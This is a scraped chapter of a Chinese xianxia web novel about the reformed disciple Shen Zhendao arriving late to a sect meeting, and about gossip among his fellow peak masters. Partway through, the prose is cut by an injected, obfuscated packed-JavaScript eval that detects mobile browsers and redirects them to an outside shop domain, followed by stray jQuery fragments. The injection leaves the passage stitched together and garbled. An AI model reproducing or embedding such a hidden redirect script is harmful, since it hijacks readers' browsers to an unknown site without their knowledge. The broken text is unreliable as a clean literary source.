真是好巧不巧,屈诚那句“啍,来了有什么用?”的话音刚刚落下时,沈臻道终于摸来雪月大殿,正巧听见了后话。
听到“丢人现眼”这词时,他踩在雪月殿前的汉白玉石阶,心里想的是:“有钱!不虚此行。”
不管怎么样,确实是来迟了。
沈臻道深谙伸手不打笑脸人的道理,还没进来时,面上先扬起了和熙笑容,像一缕春风涌入了气氛凝结的雪月大殿,他接着笑解释,语气诚恳:“见谅,路上有事耽误了,让大家久等了。”
迎着沈臻道相当真诚的目光,屈诚实在无法掩饰一脸活见鬼了的惊吓神情。
原本他自知失言被正主撞上,做好了思想准备,片刻后悔后就当机立断:“反正我说的是实话!听到就听到!管他去呢!我要看看他沈臻道能拿我怎么样?”他嘴唇一歪,本来正要以冷笑嘲讽示威,结果沈臻道的语出惊人,又让他嘴唇颤动着正了回来。
殿内几人听到这番言语,不管什么性格,皆是一幅瞪目惊诧的模样,上下打量沈臻道,想要观察些什么。
来人一袭青衫飘逸,乌发柔顺,腰间圈着白玉珠带,细如柳枝的珠带圈出好身段,身形削瘦却清雅。
五官都是几人见过的模样——眉眼具佳的神俊仙姿,可是这张脸上带着的笑容却是从未见过的。
这笑容仿佛春火,燃得这人眉梢眼角风情明亮,眸如星子,面若芙蓉,两片唇一张一合,在他如水般的柔情中,泛起圈圈涟漪。
几人面对着相处数十年的同门,心里齐齐冒出两个词:闻所未闻!见所未见!
沈臻道确实还是沈臻道,可是这其中的怪异难言,大概只有从前与他相处过的人才能体会一二!
“沈师弟此次重伤,偶得机缘,游历太虚幻境后,性情大变!”清微掌门上次去探望大病初醒的沈臻道后,回来时曾经意味深长地对他们说道。
只是当时的几人,谁都没有放在心上,如今看来还真不是掌门师兄大惊小怪,真是确有此事!
几人想到这,齐齐看向此刻坐在掌门之位上,正悠哉悠哉欣赏他们惊诧反应的清微真人。
清微真人手托胡须,见几位峰主目光看过来,脸上写着“看!我就说吧,你们还不信”,他对还站着的沈臻道招手道:“无碍!臻道,你大病初愈,不在守寂峰休养,坚持要来帮忙派内事务,师兄甚觉欣慰啊。路上有事耽误了不是你的错,既然来了,就快坐下吧。”
“是,谢掌门师兄。”沈臻道姿态优雅地朝掌门行了礼,便向自己的座位走去。
方回候在一旁,眼神热切地迎着沈臻道,待他坐下,悄声关心询问:“峰主,你刚才在路上没遇到什么事吧?”
“嗯,倒也不算什么大事,只是耽误点时间罢了。”沈臻道又问:“你回来得好快,桃七送到山下了吗?”
方回答道:“嗯!我已经将他安安稳稳地送到山下了,我抄近道上山的,所以回来得就快些。”
沈臻道满意地点点头,夸赞道:“你做的很好,多谢了。”
方回本觉得这是分内之事,被沈臻道夸后,甚觉受宠若惊,整个人顿了一下,手一摸后脑勺,低头笑道:“谢谢峰主!”
就这么说话的一会儿,沈瑧道已经能感觉到不少向自己投来的复杂目光。
他端起茶,低首敛眉,小口啜饮,七分满的茶喝到五分满时,便已经能将殿内的各个人物与自己脑海中的记忆一一对应上。他也明白殿内看似平静实则暗流涌动,对于有些人的目光,他回以友善笑意,而对另一些人的目光,他选择恰到好处的沉默。
掌门清微不过简单说了两句关于仙林大会的注意事项,其他时候,大部分都是守清峰峰主岳期凡在说话。他相当不厌其烦地强调仙林大会在仙界乃至三界的影响力,以及取得一个好名次对各峰器资分配和提高雪月派威誉的重要性。
沈臻道观察到其他几峰峰主似乎都对岳期凡这种论调表现出了微微不耐烦,而他本人在岳期凡目光每一次投来时,还是维持着风度翩翩,俊美无双的笑容。
毕竟,严格意义上来说是和大家第一次见面,还是要注重一下形象的。
可是令沈臻道没想到的是,自己反而招来了“恩将仇报”。
岳期凡虽然长相有几分书生气,但是声音中气十足,整个人透出一种隐隐的威压之势,语调激昂的长时间发言使他面色有些发红,“诸位须得好好指导弟子,千万不可丢了雪月派在三界中的面子!”他说这句话时,瞥了沈瑧道一眼,分明就是故意的。
沈臻道知道,但是也不恼,半举起茶杯,朝岳期凡方向做出推杯换盏的样子,像是敬茶又像是对他的话表示支持。
接着沈臻道便仰头喝茶,姿态比喝酒还潇洒俊朗,冷泡碧螺春的茶水在唇齿间滚一遭后,没有落到肚子里,落进一双秋水似的眼睛里,又亮又灵的,里面好像波光粼粼,看谁都像在笑。
屈诚听岳期凡话里话外,明显有不满沈臻道的言外之意,他平日里与岳期凡算不上多对付,今天却都对他格外满意,对他的话回应不绝,显得很活跃。
孟婉约则是听得不算太认真,有时甚至轻笑出声,她目光时不时落在沈瑧道身上,见沈臻道每次回应的目光之温柔,笑容之明净,让她备觉惊喜,在心里一次又一次惊叹,自己这位几乎不怎么打过交道的师弟,怎么不仅性情大变,连模样都越来越俊了!
说哪长变了吧,好像也没有,可就是说不上来,就是让人觉得越来越俊,简直比从前还要惊为天人!
孟婉约怀疑这位沈师弟是自己见过最俊的人!几乎没有人能和他做比较……但要是硬说的话,细想来,派中弟子好像也有几人,仅有的几人,可以有资格与之相较。
天,一细算起来,能同沈师弟相较的几人中,既然有三位都是他自己的徒弟!这难道就叫物以类聚,人以群分嘛?
孟婉约想着想着,看向自己临桌的弟弟孟省内,开口问道:“小周游不在派中吗?”
孟省内今日看起来总是心不在焉,回道:“不在,在山下做任务。”
“啧!你这个做师尊的好狠心,自己的宝贝徒儿一年四季搁外面,风吹日晒地飘。”孟婉约两根染着杜鹃花指甲的手指低住额头,吐槽道:“你不想他,我都想得慌了,这么俊的孩子出门在外,怪叫人担心的。”
孟省内心里当然不是这么想的,只是他不擅长解释,开口规矩地道:“掌门师兄说,仙林大会开始前,让上届的第一名多指导派中弟子。派人通知了周游,本来他回信说今日就能到雪月山的,只是不知路上是不是有什么事耽搁了,现在还不见人影。”
孟婉约可算知道孟省内今日一直心不在焉的样子是为什么了,原来是一直担心他的宝贝徒儿。
虽然孟婉约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14294099|152132||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嘴上吐槽,可他心里知道周游是孟省内捧在手里的宝贝徒儿,是真正意义上的得意门生,他替周游担心,便是实实在在的,只是这人古板得很,不懂得嘴上表达罢了。
“唉,你这呆脑袋走了什么好运气?收了这样一个好徒弟,模样俊实力强,真羡慕死别人了!”孟婉约喝口茶润润嗓子,又笑道:“有什么好担心的?周游这孩子俊是俊了点,可是若连他出门都需要担心安全,那这三界可就真是乱套了!那咱们守静峰的姑娘们可没一个敢出门了……”
“没担心他。”孟省内抱拳咳嗽一声,耳朵微红,露出刀雕木刻般的,坚毅下颚线。
孟婉约:“…………”
孟婉约丝毫不顾忌岳期凡投来的目光,笑得无声但开怀,知道自己这位哑巴弟弟心口不一,恐怕他心里正偷着乐呢!
其实孟婉约说的是实话,确实不知多少人羡慕过孟省内的徒弟周游。
周游天赋是一顶一的强,在上一届仙林大会中出尽了风头,年纪轻轻已经成了是如今雪月派年轻弟子中,公认的第一人。
他不仅实力强劲,身份特殊,样貌也是一等一的好,意气风发俊美非凡。
在孟婉约心里,雪月派中能和沈臻道姿貌相提并论的几人中,除了沈臻道那几位个个好看得邪门的徒弟之外,还有一人,便是周游了。
想到这,孟婉约忍不住又看向沈瑧道。
沈臻道有所察觉,知道孟婉约性子率真直爽,是性情中人,相当慷慨地回了个令她心尖一酥的笑容。
孟婉约端起茶杯,直喝的见底了,身子朝一旁侧,压低声音问孟省内:“你认真说,你觉得沈师弟好看,还是你那宝贝徒弟小周游好看?”
孟省内眼神直往殿门口看,盼望着自己想见的身影,对于孟婉约的话,他装作听不见,直到孟婉约看似轻轻拍在他的肩膀上,实则差点把他骨头拍断,孟省内才道:“这……这不合礼数。”
孟婉约一个白眼翻到天上,对一母同胞的弟弟这怪脾气,无语极了,实在是恨铁不成钢:“你真活该找不到媳妇!哎,那年小师妹没跟你,真是走了大运!”
“你……!”说到旧人,孟省内才稍微有了几分激动。
“你别生气,我这说的可是实话。”孟婉约叹了口气,继续道:“孟省内,我可告诉你,你可别把这一套传给小周游,将来让他和你一样,也找不到媳妇!”
孟婉约的担忧不是空穴来风,要说这周游哪都好,唯有一样脾气,真是没得办法。
若是换个问题,问沈师弟和周游哪个好?从前孟婉约可能要犹豫一下,因为这两人相貌都是一等一的好,脾气却一个极差一个极怪,一时半会真分不清。
可是换到如今言笑晏晏的沈师弟,孟婉约果断投沈师弟。主要是周游的脾气实在是……唉!
孟省内最得意在意的徒弟就是周游,孟婉约也十分喜欢周游,这一会想的事越想越远,竟然忍不住要为周游能不能娶上媳妇这件事担忧不已了!
“说不定人家看在他长得俊身体好的份上,就忍一忍给他当媳妇了呢?”孟婉约最终叹一口气,在心里暗自安慰自己。
“又发什么愣?”孟婉约抬手给自己续茶,看着孟省内端着茶杯愣愣的,她反应过来后,顺着孟省内的目光看去,看见殿门处站着一银蓝轻衣的青年。
正是应了旧语:说曹操,曹操到。